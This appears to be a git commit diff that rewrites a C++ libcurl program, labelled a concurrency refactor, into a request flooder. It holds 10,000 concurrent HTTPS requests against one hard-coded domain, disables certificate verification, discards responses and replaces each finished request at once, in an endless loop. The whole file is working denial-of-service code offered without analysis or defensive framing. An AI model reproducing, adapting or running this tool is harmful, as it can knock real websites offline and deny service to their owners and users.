Refactor main.cpp to improve concurrency handling and streamline CURL setup

This commit is contained in:
2026-02-22 15:41:52 +00:00
parent 7623514e10
commit 86b17a3a30

View File

@@ -1,38 +1,65 @@
#include <curl/curl.h>
#include <iostream>
#include <vector>
#include <string>
size_t callback(char* ptr,size_t size,size_t nmemb,std::string* stream){
size_t s=size*nmemb;
stream->append(ptr,s);
return s;
static const char* URL = "https://uibi-mu.click/uibi-mu";
static const int CONCURRENCY = 10000;
size_t write_callback(char* ptr, size_t size, size_t nmemb, void* userdata) {
return size * nmemb;
}
int main(){
const char url[] = "https://uibi-mu.click/uibi-mu";
CURL* create_easy() {
CURL* easy = curl_easy_init();
curl_easy_setopt(easy, CURLOPT_URL, URL);
curl_easy_setopt(easy, CURLOPT_WRITEFUNCTION, write_callback);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYPEER, 0L);
curl_easy_setopt(easy, CURLOPT_SSL_VERIFYHOST, 0L);
curl_easy_setopt(easy, CURLOPT_PRIVATE, easy);
return easy;
}
for (int i=0;i<100000;i++) {
CURL *curl;
CURLcode curlCode;
std::string res = "";
int main() {
curl_global_init(CURL_GLOBAL_DEFAULT);
curl = curl_easy_init();
if (curl == NULL) {
std::cout << "curl error" << std::endl;
return 1;
}
curl_easy_setopt(curl, CURLOPT_URL, url);
curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER,0);
curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, callback);
curl_easy_setopt(curl, CURLOPT_WRITEDATA, (std::string*)&res);
CURLM* multi = curl_multi_init();
int still_running = 0;
curlCode = curl_easy_perform(curl);
curl_easy_cleanup(curl);
if (curlCode == CURLE_OK) {
std::cout << res << std::endl;
} else {
std::cout << "curl error" << curlCode << std::endl;
for (int i = 0; i < CONCURRENCY; i++) {
CURL* easy = create_easy();
curl_multi_add_handle(multi, easy);
}
curl_multi_perform(multi, &still_running);
while (still_running) {
int numfds;
curl_multi_wait(multi, NULL, 0, 1000, &numfds);
curl_multi_perform(multi, &still_running);
CURLMsg* msg;
int msgs_left;
while ((msg = curl_multi_info_read(multi, &msgs_left))) {
if (msg->msg == CURLMSG_DONE) {
CURL* easy = msg->easy_handle;
long http_code = 0;
curl_easy_getinfo(easy, CURLINFO_RESPONSE_CODE, &http_code);
std::cout << "HTTP: " << http_code << std::endl;
curl_multi_remove_handle(multi, easy);
curl_easy_cleanup(easy);
CURL* new_easy = create_easy();
curl_multi_add_handle(multi, new_easy);
still_running++;
}
}
}
curl_multi_cleanup(multi);
curl_global_cleanup();
return 0;
}